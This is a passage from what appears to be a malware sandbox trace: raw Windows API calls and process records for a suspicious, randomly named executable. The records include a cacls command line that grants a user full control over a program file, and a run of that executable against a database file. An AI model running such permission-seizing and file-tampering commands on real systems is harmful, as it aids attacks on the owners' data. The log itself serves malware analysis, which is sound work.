(_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0050.835] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0050.836] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0050.837] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0050.838] GetProcessHeap () returned 0x4d0000 [0050.838] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x210) returned 0x4e2490 [0050.838] GetProcessHeap () returned 0x4d0000 [0050.838] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x74) returned 0x4e8fb8 [0050.838] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0050.838] GetProcessHeap () returned 0x4d0000 [0050.838] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x418) returned 0x4e26a8 [0050.838] SetErrorMode (uMode=0x0) returned 0x0 [0050.838] SetErrorMode (uMode=0x1) returned 0x0 [0050.838] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4e26b0, lpFilePart=0x3ef580 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ef580*="Desktop") returned 0x25 [0050.838] SetErrorMode (uMode=0x0) returned 0x1 [0050.838] GetProcessHeap () returned 0x4d0000 [0050.838] RtlReAllocateHeap (Heap=0x4d0000, Flags=0x0, Ptr=0x4e26a8, Size=0x6e) returned 0x4e26a8 [0050.838] GetProcessHeap () returned 0x4d0000 [0050.838] RtlSizeHeap (HeapHandle=0x4d0000, Flags=0x0, MemoryPointer=0x4e26a8) returned 0x6e [0050.838] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0050.839] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0050.839] GetProcessHeap () returned 0x4d0000 [0050.839] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x120) returned 0x4e2720 [0050.839] GetProcessHeap () returned 0x4d0000 [0050.839] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x238) returned 0x4e2848 [0051.264] GetConsoleTitleW (in: lpConsoleTitle=0x3ef7f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0051.264] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ef67c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ef744 | out: lpAttributeList=0x3ef67c, lpSize=0x3ef744) returned 1 [0051.264] UpdateProcThreadAttribute (in: lpAttributeList=0x3ef67c, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ef73c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ef67c, lpPreviousValue=0x0) returned 1 [0051.264] GetStartupInfoW (in: lpStartupInfo=0x3ef638 | out: lpStartupInfo=0x3ef638*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0051.268] CloseHandle (hObject=0x74) returned 1 [0051.268] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0051.268] GetProcessHeap () returned 0x4d0000 [0051.268] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e2d70 | out: hHeap=0x4d0000) returned 1 [0051.268] GetEnvironmentStringsW () returned 0x4e2c98* [0051.268] GetProcessHeap () returned 0x4d0000 [0051.268] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4eaf20 [0051.268] FreeEnvironmentStringsW (penv=0x4e2c98) returned 1 [0051.268] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0076.460] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3ef618 | out: lpExitCode=0x3ef618*=0x0) returned 1 [0076.461] CloseHandle (hObject=0x78) returned 1 [0076.461] _vsnwprintf (in: _Buffer=0x3ef760, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ef624 | out: _Buffer="00000000") returned 8 [0076.461] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0076.461] GetProcessHeap () returned 0x4d0000 [0076.461] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4eaf20 | out: hHeap=0x4d0000) returned 1 [0076.461] GetEnvironmentStringsW () returned 0x4e2c98* [0076.461] GetProcessHeap () returned 0x4d0000 [0076.461] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4eaf20 [0076.461] FreeEnvironmentStringsW (penv=0x4e2c98) returned 1 [0076.462] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.462] GetProcessHeap () returned 0x4d0000 [0076.462] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4eaf20 | out: hHeap=0x4d0000) returned 1 [0076.462] GetEnvironmentStringsW () returned 0x4e2c98* [0076.462] GetProcessHeap () returned 0x4d0000 [0076.462] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0xb86) returned 0x4eaf20 [0076.462] FreeEnvironmentStringsW (penv=0x4e2c98) returned 1 [0076.462] GetProcessHeap () returned 0x4d0000 [0076.462] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x4e00d0 | out: hHeap=0x4d0000) returned 1 [0076.462] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ef67c | out: lpAttributeList=0x3ef67c) [0076.462] _get_osfhandle (_FileHandle=1) returned 0x80 [0076.462] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0076.462] _get_osfhandle (_FileHandle=1) returned 0x80 [0076.462] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0076.462] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.462] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0076.463] SetConsoleInputExeNameW () returned 0x1 [0076.463] GetConsoleOutputCP () returned 0x1b5 [0076.463] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.463] SetThreadUILanguage (LangId=0x0) returned 0x409 [0076.463] exit (_Code=0) Process: id = "20" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x1c416000" os_pid = "0x6c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0xadc" cmd_line = "cacls \"C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 107 os_tid = 0x7e0 Process: id = "21" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x29a06000" os_pid = "0x598" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0xbe8" cmd_line = "bv6ncK8c.exe -accepteula \"RacDatabase.sdf\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 108 os_tid = 0x304 [0052.683] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0052.684] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0052.685] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0052.686] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0052.687] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0052.688] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0052.689] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0052.690] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0052.690] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0052.690] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0052.690] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0052.691] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0052.691] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0052.691] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0052.691] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0052.691] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0052.692] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0052.692] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0052.692] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0052.692] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0052.692] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0052.692] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0052.692] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0052.692] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0052.843] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0052.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xc9271c40, dwHighDateTime=0x1d5d06a)) [0052.843] GetCurrentThreadId () returned 0x304 [0052.843] GetCurrentProcessId () returned 0x598 [0052.843] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=19479501054) returned 1 [0052.843] GetProcessHeap () returned 0x5e0000 [0052.843] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0052.843] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0052.844] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0052.844] GetProcAddress 